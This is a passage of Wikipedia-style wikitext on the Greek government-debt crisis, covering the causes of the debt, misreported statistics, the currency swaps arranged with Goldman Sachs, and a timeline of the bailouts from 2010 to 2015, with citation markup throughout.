After 1993, the debt-to-GDP ratio remained above 94%.<ref name="Debt-to-GDP ratio" /> The [[late-2000s financial crisis|crisis]] caused the debt level to exceed the maximum sustainable level (defined by [[International Monetary Fund|IMF]] economists to be 120%). According to ''"The Economic Adjustment Programme for Greece"'' published by the EU Commission in October 2011, the debt level was expected to reach 198% in 2012, if the proposed debt restructure agreement was not implemented.<ref name="EC draft">{{cite web|url=http://dl.dropbox.com/u/46265023/20Oct%20Fifth%20Review%20Compliance%20Report-All.pdf|title=The Economic Adjustment Programme for Greece: Fifth Review – October 2011 (Draft)|publisher=European Commission|format=PDF|accessdate=22 October 2011}}</ref>

=== Budget compliance ===
Budget compliance was acknowledged to need improvement. For 2009 it was found to be "a lot worse than normal, due to economic control being more lax in a year with political elections". The government wanted to strengthen the monitoring system in 2010, making it possible to track revenues and expenses, at both national and local levels.

=== Data credibility ===
Problems with unreliable data had existed since Greece applied for Euro membership in 1999.<ref name="Eurostat Audit in 2004 of the Greek economy">{{cite web|title=Revision of the Greek Government Deficit and Debt Figures |url=http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/GREECE/EN/GREECE-EN.PDF |publisher=Eurostat |date=22 November 2004|accessdate=5 March 2012}}</ref> In the five years from 2005 to 2009, [[Eurostat]] each year noted reservations about Greek fiscal data. Previously reported figures were consistently revised down.<ref name="Review of Greek statistical issues">{{cite web|url=http://ec.europa.eu/eurostat/documents/4187653/6404656/COM_2010_report_greek/c8523cfa-d3c1-4954-8ea1-64bb11e59b3a|title=Report on Greek government deficit and debt statistics |work=European Commission|accessdate=8 January 2010|date=8 January 2010}}</ref><ref name="Elstat revised national accounts 2005–2010">{{cite web|title=Annual National Accounts: Revised data for the period 2005–2010|url=http://www.statistics.gr/portal/page/portal/ESYE/BUCKET/A0702/PressReleases/A0702_SEL15_DT_AN_00_2010_02_F_EN.pdf|publisher=Hellenic Statistical Authority|accessdate=19 October 2011|format=PDF|date=5 October 2011}}</ref><ref name="Elstat revised fiscal data 2007–2010">{{cite web|title=Fiscal data for the years 2007–2010|url=http://www.statistics.gr/portal/page/portal/ESYE/BUCKET/General/A0701_SEL03_DT_AN_00_2011_02_P_EN.pdf|publisher=Hellenic Statistical Authority|accessdate=17 October 2011|format=PDF|date=17 October 2011}}</ref> The flawed data made it impossible to predict GDP growth, deficit and debt. By the end of each year, all were below estimates. Data problems were evident in several other countries, but in the case of Greece, the magnitude of the 2009 revisions increased suspicion about data quality.

In May 2010, the Greek government deficit was again revised and estimated to be 13.6%,<ref>{{cite news|url=http://www.bloomberg.com/apps/news?pid=newsarchive&sid=aUi3XLUwIIVA|title=Papandreou Faces Bond Rout as Budget Worsens, Workers Strike|date=22 April 2010|publisher=Bloomberg|accessdate=2 May 2010}}</ref> the second highest in the world relative to GDP behind [[Iceland]] at 15.7% and [[Great Britain]] third at 12.6%.<ref>{{cite news|url=http://www.telegraph.co.uk/finance/financialcrisis/7269629/Britains-deficit-third-worst-in-the-world-table.html|title=Britain's Deficit Third Worst in the World, Table|date=19 February 2010|work=The Daily Telegraph|location=London|author=Staff|accessdate=5 August 2011}}</ref> The government forecast public debt to hit 120% of GDP during 2010.<ref>{{cite news|url=http://www.reuters.com/article/2009/11/05/greece-budget-debt-idUSATH00496420091105|title=Greek Debt To Reach 120.8 Pct of GDP in '10 – Draft|date=5 November 2009|agency=Reuters|author1=Melander, Ingrid |author2=Papchristou, Harry |accessdate=5 August 2011}}</ref> The actual ratio was closer to 150%.<ref>{{cite web|url=http://ec.europa.eu/eurostat/tgm/table.do?tab=table&init=1&language=en&pcode=teina225&plugin=1|title=Eurostat – Tables, Graphs and Maps Interface (TGM) table|work=europa.eu|accessdate=3 July 2015}}</ref>

The revised statistics revealed that Greece from 2000 to 2010 had exceeded the Eurozone stability criteria, with yearly deficits exceeding the recommended maximum limit at 3.0% of GDP, and with the debt level significantly above the limit of 60% of GDP.

=== Government spending ===
[[File:HellenicOeconomy(inCurrentEuros).png|thumb|upright=1.364|Combined charts of Greece's GDP and debt since 1970; also of deficit since 2000. Absolute terms [[time series]] are in current euros. Public deficit (brown) worsened to 10% in 2008, 15% in 2009 and 11% in 2010. As a result, the public debt-to-GDP ratio (red) rose from 109% in 2008 to 146% in 2010.]]
The Greek economy was one of the Eurozone's fastest growing from 2000 to 2007, averaging 4.2% annually, as foreign capital flooded in.<ref>{{cite web|url=http://greeceinfo.wordpress.com/2009/09/17/greece-foreign-capital-inflows-up/ |title=Greece: Foreign Capital Inflows Up |publisher=Embassy of Greece in Poland (Greeceinfo.wordpress.com) |date=17 September 2009 |accessdate=5 May 2010}}</ref> This capital inflow coincided with a higher budget deficit.<ref name="research.stlouisfed.org" />

Greece had budget surpluses from 1960–73, but thereafter it had budget deficits.<ref name="Financial statistics for Greece in 1950–1989">{{cite web|title=Economic restructuring and the debt problem: the Greek case |url=http://www.inclusivedemocracy.org/fotopoulos/english/brvarious/restruct_irae_92_PRINTABLE.htm |author=Takis Fotopoulos| work=International Review of Applied Economics, Volume 6, Issue 1 (1992), pp. 38–64 |year=1992}}</ref><ref name="Budget deficits 1960–2011 in free extracted file from OECD database">{{cite web|url=https://docs.google.com/spreadsheet/ccc?key=0AonYZs4MzlZbdDZsU2k2VEQ2elkwcnNDOTNHS3ZwRkE&hl=en#gid=1|title=OECD Economic Outlook No.86 (Country debt and deficits)|publisher=Google Docs|date=December 2009|accessdate=11 November 2012}}</ref><ref name="Budget deficits 1960–2014 directly from OECD database">{{cite web|url=http://www.oecd-ilibrary.org/economics/data/oecd-economic-outlook-statistics-and-projections/oecd-economic-outlook-no-91_data-00606-en|title=OECD Economic Outlook No.91|publisher=OECD|date=6 June 2012|accessdate=11 November 2012}}</ref> From 1974–80 the government had budget deficits below 3% of GDP, while 1981–2013 deficits were above 3%.<ref name="Budget deficits 1960–2011 in free extracted file from OECD database" /><ref name="Budget deficits 1960–2014 directly from OECD database" /><ref name="Budget balance since 1988">{{cite web|title=AMECO database results: Net lending (+) or borrowing (-) of General Government -measured by EDP method (% of GDP, ESA 2010)|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UBLGE&trn=1&agg=0&unite=319&ref=0&nomserie=Net+lending+%28%2B%29+or+net+borrowing+%28-%29%3A+general+government+%3A-+Excessive+deficit+procedure+%28Including+one-off+proceeds+relative+to+the+allocation+of+mobile+phone+licences+%28UMTS%29%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |accessdate=9 August 2012}}</ref><ref name="Financial statistics for Greece in 1990–97">{{cite web|title=Briefing 22: EMU and Greece |url=http://www.europarl.europa.eu/euro/country/general/gr_en.pdf |author=Directorate General for Research Economic Affairs Division| work=Task Force on Economic and Monetary Union (European Parliament)|date=28 April 1998}}</ref>

An editorial published by ''[[Kathimerini]]'' claimed that after the removal of the [[Greek military junta of 1967–1974|right-wing military junta]] in 1974, Greek governments wanted to bring left-leaning Greeks into the economic mainstream<ref>{{cite news| first=Demetrius A | last=Floudas| title=The Greek Financial Crisis 2010: Chimerae and Pandaemonium | url=http://www.talks.cam.ac.uk/talk/index/23660| publisher=University of Cambridge | location=Hughes Hall Seminar Series, March 2010}}</ref> and so ran large deficits to finance military expenditures, public sector jobs, pensions and other social benefits.

As a percentage of GDP, Greece had the second-biggest defense spending<ref>{{cite news| url=http://www.nytimes.com/2013/01/08/world/europe/08iht-letter08.html?_r=0 | work=The New York Times | first=Judy | last=Dempsey | title=Military in Greece Is Spared Cuts | date=7 January 2013}}</ref> in [[NATO]], after the US.

Pre-Euro, currency [[devaluation]] helped to finance Greek government borrowing. Thereafter the tool disappeared. Greece was able to continue borrowing because of the lower interest rates for Euro bonds, in combination with strong GDP growth.

=== Current account balance ===

[[File:Current account imbalances EN (3D).svg|thumb|upright=1.35|alt=Current account imbalances in 1997–2013|Current account imbalances (1997–2014)]]
Economist [[Paul Krugman]] wrote, "What we’re basically looking at...is a balance of payments problem, in which capital flooded south after the creation of the euro, leading to overvaluation in southern Europe"<ref>{{cite news|url=http://krugman.blogs.nytimes.com/2012/02/25/european-crisis-realities/|title=Log In - The New York Times|publisher=}}</ref> and "In truth, this has never been a fiscal crisis at its root; it has always been a balance of payments crisis that manifests itself in part in budget problems, which have then been pushed onto the center of the stage by ideology."<ref>{{cite news|url=http://krugman.blogs.nytimes.com/2015/06/19/does-greece-need-more-austerity/|title=Log In - The New York Times|publisher=}}</ref>

The translation of trade deficits to budget deficits works through [[sectoral balances]]. Greece ran current account (trade) deficits averaging 9.1% GDP from 2000–2011.<ref name="research.stlouisfed.org" /> By definition, a trade deficit requires capital inflow (mainly borrowing) to fund; this is referred to as a capital surplus or foreign financial surplus. This can drive higher levels of government budget deficits, if the private sector maintains relatively even amounts of savings and investment, as the three financial sectors (foreign, government, and private) by [[Sectoral balances|definition]] must balance to zero.

Greece's large budget deficit was funded by running a large foreign financial surplus. As the inflow of money stopped during the crisis, reducing the foreign financial surplus, Greece was forced to reduce its budget deficit substantially. Countries facing such a sudden reversal in capital flows typically devalue their currencies to resume the inflow of capital; however, Greece was unable to do this, and so has instead suffered significant income (GDP) reduction, another form of devaluation.<ref name=FRBSFGalina /><ref name="research.stlouisfed.org" />

=== Tax evasion ===

{{Further|Tax evasion and corruption in Greece}}
Tax receipts consistently were below the expected level. In 2010, estimated tax evasion losses for the Greek government amounted to over {{Nowrap|$20 billion}}.<ref>{{cite news|title=Greeks and the state: An uncomfortable couple|url=http://www.businessweek.com/ap/financialnews/D9FF7K681.htm|date=3 May 2010|agency=Bloomberg Businessweek}}</ref> 2013 figures showed that the government collected less than half of the revenues due in 2012, with the remaining tax to be paid according to a delayed payment schedule.<ref>{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_05/11/2013_526451|title=State collected less than half of revenues due last year |publisher=Ekathimerini|accessdate=7 November 2013|date=5 November 2013}}</ref>{{failed verification|reason=delayed payment not in source|date=July 2015}}

Greece scored 36/100 according to [[Transparency International]]'s [[Corruption Perception Index]], ranking it as the most corrupt country in the EU.<ref name="Transparency International">{{cite web|title=Corruption perception survey|url=http://www.transparency.org/cpi2014/results|publisher=Transparency International}}</ref><ref>{{cite news|title=Greece 'most corrupt' EU country, new survey reveals|url=http://www.bbc.co.uk/news/business-20605869|accessdate=7 June 2015|agency=BBC|date=5 December 2012|work=BBC News}}</ref> One bailout condition was to implement an anti-corruption strategy.<ref name="Second Economic Adjustment Programme for Greece (Fourth review April 2014)" /> The government's activities improved their score of 43/100 in 2014, still the lowest in the EU, but close to that of Italy, Bulgaria and Romania.<ref name="Transparency International" /><ref>{{cite news|title=Corruption still alive and well in post-bailout Greece|url=http://www.theguardian.com/world/2014/dec/03/greece-corruption-alive-and-well|accessdate=7 June 2015|agency=Guardian|date=3 December 2014}}</ref>

It is estimated that the amount of evaded taxes stored in Swiss banks is around 80 billion Euro. In 2015 a tax treaty to address this issue was under negotiation between the Greek and Swiss government.<ref>{{cite web|title=Greek minister slams Swiss over tax evasion|url=http://www.thelocal.ch/20150624/greek-minister-slams-swiss-over-tax-evasion|publisher=The Local ch|date=24 June 2015}}</ref><ref>{{cite web|title=Swiss await Greek input on hidden billions|url=http://www.swissinfo.ch/eng/swiss-await-greek-input-on-hidden-billions/41292816|publisher=Swissinfo.ch|date=25 February 2015}}</ref>

Data for 2012 places the Greek "black economy" at 24.3% of GDP,<ref name="go.bloomberg.com">{{cite news| title = Will Euro Austerity Push the Shadow Economy Even Deeper Into the Dark?| url = http://go.bloomberg.com/market-now/2012/12/06/will-euro-austerity-push-the-shadow-economy-even-deeper-into-the-dark/ |work= Bloomberg | date = 6 December 2012| accessdate= 8 January 2014}}</ref> compared with 28.6% for Estonia, 26.5% for Latvia, 21.6% for Italy, 17.1% for Belgium and 13.5% for Germany (which partly correlates with the high percentage of Greeks who are self-employed<ref>{{cite news| title = Greek Myths and Reality (p. 20) | url = http://www.brookings.edu/~/media/research/files/papers/2013/08/06%20greece%20recovery%20dervis/eliamep_brookings%20greek%20myths%20and%20reality.pdf |work= ELIAMEP | date = 6 August 2013 | accessdate= 6 January 2014}}</ref> vs. 15% EU average,<ref>{{cite news| title = Greece tops EU list for self-employment with 31.9% of Greeks working for themselves | url = http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_07/06/2013_503242 |work= Kathimerini | date = 7 June 2013| accessdate= 6 January 2014}}</ref> – several studies have shown a clear correlation between tax evasion and self-employment).<ref>{{cite news| title = Tax Evasion and Self-Employment in a High-Tax Country: Evidence from Sweden | url = http://ideas.repec.org/p/ces/ceswps/_1736.html | work= | year = 2006 | accessdate= 6 January 2014}}</ref><ref>{{cite news| title = On income tax avoidance: the case of Germany | url = http://www.econstor.eu/bitstream/10419/29359/1/256896925.pdf | work= ZEW Discussion Papers, No. 93-05 | date = March 1993 | accessdate= 6 January 2014}}</ref>

== Chronology ==
{{Main|Greek debt crisis timeline}}

=== 2010 ===
Despite the crisis, the Greek government's bond auction in January 2010 of €8 bn 5-year bonds was 4x over-subscribed.<ref>{{cite web|url=http://euobserver.com/9/29338|title=Greek bond auction provides some relief|date=26 January 2010|publisher=EU Observer|author=Andrew Willis|accessdate=15 April 2011}}</ref> The next auction (March) sold €5bn in 10-year bonds reached 3x.<ref>{{cite web|url=http://www.ft.com/cms/s/0/245030a8-2773-11df-b0f1-00144feabdc0.html|title=Strong demand for 10-year Greek bond|date=4 March 2010|publisher=Financial Times|accessdate=2 May 2010}}</ref> However, yields increased, which worsened the deficit. Rating agencies then downgraded Greek bonds to [[Bond credit rating|junk]] status in late April 2010. This froze private capital markets, requiring a bailout to avoid a [[sovereign default]].<ref>{{cite news|url=http://www.theguardian.com/business/2010/apr/27/greece-credit-rating-downgraded|title=Standard & Poor's downgrade Greek credit rating to junk status|date=27 April 2010|publisher=The Guardian|last2=Fletcher|first2=Nick|accessdate=27 April 2010|first1=Richard|last1=Wachman}}</ref> In April 2010, it was estimated that up to 70% of Greek government bonds were held by foreign investors, primarily banks.<ref name="Analysis of Greek debt crisis pr April 2009">{{cite news|url=http://www.economist.com/displaystory.cfm?story_id=15908288|title=Greece's sovereign-debt crisis: Still in a spin|date=15 April 2010|publisher=The Economist|accessdate=2 May 2010}}</ref> The bailout loans were mainly used to pay for the maturing bonds, but also to finance the continued yearly budget deficits.{{citation needed|date=October 2015}}

In April, national account data revealed that the Greek economy had been hit by three distinct recessions (Q3-Q4 2007, Q2-2008 until Q1-2009, and a third starting in Q3-2009),<ref name="Greek GDP data for 2005–2014">{{cite web|url=http://www.statistics.gr/portal/page/portal/ESYE/BUCKET/A0704/PressReleases/A0704_SEL84_DT_QQ_03_2014_01_E_EN.pdf|title=Quarterly National Accounts: 3rd Quarter 2014 (Flash Estimates) and revised data 1995 Q1-2014 Q2|format=PDF|publisher=Hellenic Statistical Authority (ELSTAT)|date=14 November 2014}}</ref> which stimulated estimates that the [[debt-to-GDP ratio]] rose from 109% in 2008 to 146% in 2010. [[Credit rating agencies]] downgraded Greek government debt to junk status, as they reassessed risks of a sovereign default. Government bond yields rose into unsustainable territory – closing the private lending market to Greece.

On 2 May, the [[European Commission]], [[European Central Bank]] (ECB) and [[International Monetary Fund]] (IMF) (the [[European troika|Troika]]) launched a {{Nowrap|€110 billion}} bailout loan to rescue Greece from [[sovereign default]] and cover its financial needs through June 2013, conditional on implementation of [[austerity measures]], structural reforms and privatization of government assets.<ref>{{cite web |title=Europe and IMF Agree €110 Billion Financing Plan with Greece |url=http://www.imf.org/external/pubs/ft/survey/so/2010/car050210a.htm |publisher=[[International Monetary Fund|IMF]] Survey online|date=May 2, 2010 |accessdate=June 28, 2015}}</ref>

[[File:Greek debt and EU average since 1977.png|upright=1.364|thumb|Greece's debt percentage since 1977, compared to the average of the [[Eurozone]]]]

==== Fraudulent statistics ====
To keep within the [[Euro convergence criteria|monetary union guidelines]], the government of Greece for many years simply misreported economic statistics.<ref>{{cite web|url=http://abcnews.go.com/Business/wireStory?id=9541636|title=EU Stats Office: Greek Economy Figures Unreliable|date=12 January 2010|publisher=ABC News|accessdate=2 May 2010|archiveurl=http://web.archive.org/web/20101007143658/http://abcnews.go.com/Business/wireStory?id=9541636|archivedate=October 2010}}</ref><ref>{{cite web|url=http://euobserver.com/19/30015|title=Rehn: No other state will need a bail-out|date=5 May 2010|work=EU Observer|author=Andrew Wills|accessdate=6 May 2010}}</ref> At the beginning of 2010, it was discovered Goldman Sachs and other banks helped the Greek government to hide its debts.<ref name="NYT 2010">{{cite news|url=http://www.nytimes.com/2010/02/14/business/global/14debt.html?pagewanted=1&hp|title=Wall St. Helped to Mask Debt Fueling Europe's Crisis|last=Story|first=Louise|date=13 February 2010|work=The New York Times|publisher=The New York Times Company|accessdate=6 May 2010|author2=Thomas, Landon Jr.|author3=Shwartz, Nelson D.}}</ref> Christoforos Sardelis, former head of Greece’s [[Public Debt Management Agency (Greece)|Public Debt Management Agency]], said that the country did not understand what it was buying. He also said he learned that "other EU countries such as Italy" had made similar deals.<ref name="Bloomberg">{{cite news|url=http://www.bloomberg.com/news/2012-03-06/goldman-secret-greece-loan-shows-two-sinners-as-client-unravels.html|title=Goldman Secret Greece Loan Shows Two Sinners as Client Unravels|date=March 5, 2012|publisher=Bloomberg|quote=Greece actually executed the swap transactions to reduce its debt-to-gross-domestic-product ratio because all member states were required by the Maastricht Treaty to show an improvement in their public finances,” Laffan said in an e- mail. “The swaps were one of several techniques that many European governments used to meet the terms of the treaty.”|author1=Nicholas Dunbar |author2=Elisa Martinuzzi }}</ref><ref name="The Guardian">{{cite news|url=http://www.theguardian.com/business/2010/feb/16/greek-debt-goldman-sachs|title=Banks that inflated Greek debt should be investigated, EU urges|date=16 February 2010|newspaper=[[The Guardian]]|quote="These instruments were not invented by Greece, nor did investment banks discover them just for Greece," said Christophoros Sardelis, who was chief of Greece's debt management agency when the contracts were conducted with Goldman Sachs. Such contracts were also used by other European countries until Eurostat, the EU's statistic agency, stopped accepting them later in the decade. Eurostat has also asked Athens to clarify the contracts.|author=Elena Moya}}</ref><ref name="Der Spiegel">{{cite news|url=http://www.spiegel.de/international/europe/greek-debt-crisis-how-goldman-sachs-helped-greece-to-mask-its-true-debt-a-676634.html|title=Greek Debt Crisis: How Goldman Sachs Helped Greece to Mask its True Debt|date=February 8, 2010|newspaper=Der Spiegel|quote=This credit disguised as a swap didn't show up in the Greek debt statistics. Eurostat's reporting rules don't comprehensively record transactions involving financial derivatives. "The Maastricht rules can be circumvented quite legally through swaps," says a German derivatives dealer. In previous years, Italy used a similar trick to mask its true debt with the help of a different US bank.|accessdate=29 October 2013|author=Beat Balzli}}</ref><ref name="Goldman">{{cite web|url=http://www.businessinsider.com/henry-blodget-greece-paid-goldman-300-million-to-help-it-hide-its-ballooning-debts-2010-2|title=Greece Paid Goldman {{Nowrap|$300 Million}} To Help It Hide Its Ballooning Debts|publisher=[[Business Insider]]|accessdate=6 May 2010|deadurl=yes|archiveurl=https://web.archive.org/web/20100305175636/http://www.businessinsider.com/henry-blodget-greece-paid-goldman-300-million-to-help-it-hide-its-ballooning-debts-2010-2|archivedate=5 March 2010}}</ref><ref>{{cite news|url=http://www.nytimes.com/2010/02/14/business/global/14debt.html?pagewanted=all&_r=0|title=Global Business: Wall St. Helped to Mask Debt Fueling Europe’s Crisis|date=February 13, 2010|newspaper=[[The New York Times]]|quote=In dozens of deals across the Continent, banks provided cash upfront in return for government payments in the future, with those liabilities then left off the books. Greece, for example, traded away the rights to airport fees and lottery proceeds in years to come.|author=Louise Story|author2=Landon Thomas Jr|author3=Nelson D. Schwartz}}</ref>

Most notable was a [[cross currency swap]], where billions worth of Greek debts and loans were converted into yen and dollars at a fictitious exchange rate, thus hiding the true extent of Greek loans.<ref>{{cite news|url=http://www.spiegel.de/international/europe/greek-debt-crisis-how-goldman-sachs-helped-greece-to-mask-its-true-debt-a-676634.html|title=How Goldman Sachs Helped Greece to Mask its True Debt|last=Balzli|first=Beat|date=2 August 2010|work=Der Spiegel|accessdate=1 August 2012}}</ref> Swaps were not registered as debt because [[Eurostat]] statistics did not include financial derivatives. A German derivatives dealer commented, "The [[Maastricht Treaty|Maastricht]] rules can be circumvented quite legally through swaps," and "In previous years, Italy used a similar trick to mask its true debt with the help of a different US bank."<ref name="Der Spiegel" /> These conditions enabled Greece and other governments to spend beyond their means, while ostensibly meeting EU deficit targets.<ref name="Goldman" /><ref>{{cite news|url=http://www.nytimes.com/2010/02/14/business/global/14debt.html?pagewanted=1&hp|title=Wall St. Helped To Mask Debt Fueling Europe's Crisis|date=14 February 2010|work=The New York Times|accessdate=6 May 2010|author1=Story, Louise |author2=Thomas Jr, Landon |author3=Schwartz, Nelson D. }}</ref>

The European statistics agency, Eurostat, had at regular intervals from 2004-2010, sent 10 delegations to Athens with a view to improving the reliability of Greek statistical figures. In January it issued a report that contained accusations of falsified data and political interference.<ref>{{cite web|url=http://ec.europa.eu/eurostat/documents/4187653/6404656/COM_2010_report_greek/c8523cfa-d3c1-4954-8ea1-64bb11e59b3a|title=Report on Greek government deficit and debt statistics|date=8 January 2010|publisher=European Commission|format=PDF|accessdate=22 January 2014}}</ref> The Finance Ministry accepted the need to restore trust among investors and correct methodological flaws, "by making the National Statistics Service an independent legal entity and phasing in, during the first quarter of 2010, all the necessary checks and balances".<ref name="europa1" />

The new government of [[George Papandreou]] revised the 2009 deficit from a previously estimated 6%–8% to 15.7% of GDP, using Eurostat's standardized method. The figure for Greek government debt at the end of 2009 increased from its first November estimate at {{Nowrap|€269.3 billion}} (113% of GDP)<ref name="Analysis of Greek debt crisis pr April 2009" /><ref>{{cite news|url=http://www.reuters.com/article/idUSATH00496420091105|title=Greek debt to reach 120.8 pct of GDP in '10 – draft|date=5 November 2009|publisher=Reuters|accessdate=2 May 2010}}</ref> to a revised {{Nowrap|€299.7 billion}} (130% of GDP). This was the highest for any EU country. After an in-depth [[Greek financial audits, 2009–10|Financial Audit of the fiscal years 2006–09]]. Eurostat announced in November 2010 that the revised figures for 2006–2009 finally were considered to be reliable.<ref>{{cite news|url=http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/2-15112010-AP/EN/2-15112010-AP-EN.PDF|title=Eurostat Newsrelease 170/2010: Provision of deficit and debt data for 2009 – Second notification|date=15 November 2010|publisher=Eurostat|accessdate=19 February 2012}}</ref><ref>{{cite web|url=http://epp.eurostat.ec.europa.eu/portal/page/portal/government_finance_statistics/documents/Greece%20-%202010%20methodological%20visits%20report.pdf|title=Report on the EDP methodological visits to Greece in 2010|date=15 November 2010|publisher=Eurostat|accessdate=19 February 2012}}</ref><ref>{{cite news|url=http://www.marketwatch.com/story/greeces-revised-2009-deficit-tops-15-of-gdp-2010-11-15|title=Greece’s revised 2009 deficit tops 15% of GDP: Eurostat lifts reservations over Greek methodology|date=15 November 2010|publisher=MarketWatch|accessdate=19 February 2012}}</ref>

=== 2011 ===
A year later, a worsened recession along with poor implementation by the Greek government of the agreed bailout conditions forced a second bailout worth {{Nowrap|€130 billion}}. This included a bank recapitalization package worth €48bn. Private bondholders were required to accept extended maturities, lower interest rates and a 53.5% reduction in the bonds' face value.<ref>{{cite web|url=http://economicpolicy.oxfordjournals.org/content/28/75/513|title=The Greek debt restructuring: an autopsy|date=1 July 2013|publisher=Oxford Journals|format=PDF}}</ref>

On 17 October 2011, [[Minister for Finance (Greece)|Minister of Finance]] [[Evangelos Venizelos]] announced that the government would establish a new fund, aimed at helping those who were hit the hardest from the government's austerity measures.<ref name="Skai 17 October 2011">{{cite news|url=http://www.skai.gr/news/finance/article/183592/venizelos-dimiourgia-logariasmou-koinonikis-exisorropisis/|title=Βενιζέλος: Δημιουργία λογαριασμού κοινωνικής εξισορρόπησης|date=17 October 2011|publisher=[[Skai TV]]|trans_title=Venizelos: Creation of a social balace account.|accessdate=17 October 2011}}</ref> The money for this agency would come from a crackdown on [[tax evasion]].<ref name="Skai 17 October 2011" /> The government agreed to creditor proposals that Greece raise up to €50 billion through the sale or development of state-owned assets,<ref>{{cite news|url=http://www.bloomberg.com/news/articles/2011-05-20/greece-must-speed-up-asset-sales-win-investment-minister-says|title=Greece Must Speed Up Asset Sales, Win Investment, Minister Says|date=20 May 2011|work=Bloomberg.com|author=Natalie Weeks}}</ref> but receipts were much lower than expected, while the policy was strongly opposed by Syriza. In 2014, only €530m was raised. Some key assets were sold to insiders.<ref>[http://www.ft.com/cms/s/0/b3f7a5b0-ac61-11e4-af0e-00144feab7de.html#axzz3fUuDxNXR Greece backtracks on privatisation], Financial Times</ref>

=== 2012 ===
The second bailout programme was ratified in February 2012. A total of {{Nowrap|€240 billion}} was to be transferred in regular tranches through December 2014. The recession worsened and the government continued to dither over bailout program implementation. In December 2012 the Troika provided Greece with more debt relief, while the IMF extended an extra €8.2bn of loans to be transferred from January 2015 to March 2016.

=== 2014 ===
The fourth review of the bailout programme revealed unexpected financing gaps.<ref name="EC fourth review 2014">{{cite web|url=http://ec.europa.eu/economy_finance/publications/occasional_paper/2014/pdf/ocp192_en.pdf|title=Occasional Papers 192: The Second Economic Adjustment Programme for Greece. Fourth Review, April 2014|work=Table 11. Greece Financing Needs 2012–2016|format=PDF|publisher=European Commission|date=18 June 2014}}</ref><ref name="IMF fifth review 2014">{{cite web|url=http://crisisobs.gr/wp-content/uploads/2014/06/cr14151.pdf|title=IMF Country Report No. 14/151: Greece – Fifth Review under the Extended Arrangement under the Extended Fund Facility, and Request for Waiver of Nonobservance of Performance Criterion and Rephasing of Access; Staff Report; Press Release; and Statement by the Executive Director for Greece|format=PDF|work=Table 14. Greece: State Government Financing Requirements and Sources, 2013–16|publisher=IMF|date=9 June 2014}}</ref> In 2014 the outlook for the Greek economy improved. The government predicted a [[structural surplus]] in 2014,<ref name="EC-spring-forecast 2015" /><ref name="Newsbomb.gr">{{cite web|url=http://www.newsbomb.gr/global/news/story/503449/greek-economy-to-grow-by-29-pct-in-2015--draft-budget%E2%80%8F|title=Greek economy to grow by 2.9 pct in 2015, draft budget|publisher=Newsbomb.gr|date=6 October 2014}}</ref> opening access to the private lending market to the extent that its entire financing gap for 2014 was covered via private [[Greek government-debt crisis#Return to bond market|bond sales]].<ref name="Irish Independent">{{cite news|url=http://www.independent.ie/business/world/greece-plans-new-bond-sales-and-confirms-growth-target-for-next-year-30641471.html|title=Greece plans new bond sales and confirms growth target for next year|publisher=Irish Independent|date=6 October 2014}}</ref>

Instead a fourth recession started in Q4-2014.<ref name="Greece hit by a new 4th recession">{{cite web|url=http://www.statistics.gr/portal/page/portal/ESYE/BUCKET/A0704/PressReleases/A0704_SEL84_DT_QQ_01_2015_01_P_EN.pdf|title=Press release: Quarterly National Accounts – 1st Quarter 2015 (Provisional Data)|format=PDF|publisher=ELSTAT|date=29 May 2015}}</ref> The parliament called [[Greek legislative election, January 2015|snap parliamentary election]]<nowiki/>s in December, leading to a [[Coalition of the Radical Left|Syriza]]-led government that rejected the existing bailout terms.<ref name="Q4-2014 recession confirmed">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_29/05/2015_550532|title=ELSTAT confirms return to recession|publisher=Kathimerini (Reuters)|date=29 May 2015}}</ref> The Troika suspended all scheduled remaining aid to Greece, until the Greek government retreated or convinced the Troika to accept a revised programme.<ref name="Bailout suspended until formation of a new-elect government">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_29/12/2014_545787|title=IMF suspends aid to Greece ahead of new elections|publisher=Kathimerini|date=29 December 2014}}</ref> This rift caused a liquidity crisis (both for the Greek government and Greek financial system), plummeting stock prices at the [[Athens Stock Exchange]] and a renewed loss of access to private financing.

=== 2015 ===
After [[Greek legislative election, January 2015|Greece's January snap election]], the Troika granted a further four-month technical extension of its bailout programme; expecting that the payment terms would be renegotiated before the end of April,<ref name="Eurogroup 20.Feb.2015">{{cite web|url=http://www.consilium.europa.eu/en/press/press-releases/2015/02/150220-eurogroup-statement-greece/|title=Eurogroup statement on Greece (20 February 2015)|publisher=Council of the European Union|date=20 February 2015}}</ref> allowing the review and last financial transfer could be completed before the end of June.<ref name="MFFA extended to June 2015">{{cite web|url=http://www.esm.europa.eu/pdf/MFFA-27-02-2015.pdf|title=Master Financial Assistance Facility Agreement (MFFA)|format=PDF|publisher=EFSF|date=27 February 2015}}</ref>

<ref name="Negotiation status 29-05-2015">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite1_1_29/05/2015_550510|title=Greece creditors say no deal near as G-7 frustration vented|publisher=Kathimerini (Bloomberg)|date=29 May 2015}}</ref><ref name="Negotiation status 30-05-2015">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_30/05/2015_550547|title=Greece locked in talks with creditors as payment clock ticks|publisher=Kathimerini (Bloomberg)|date=30 May 2015}}</ref>

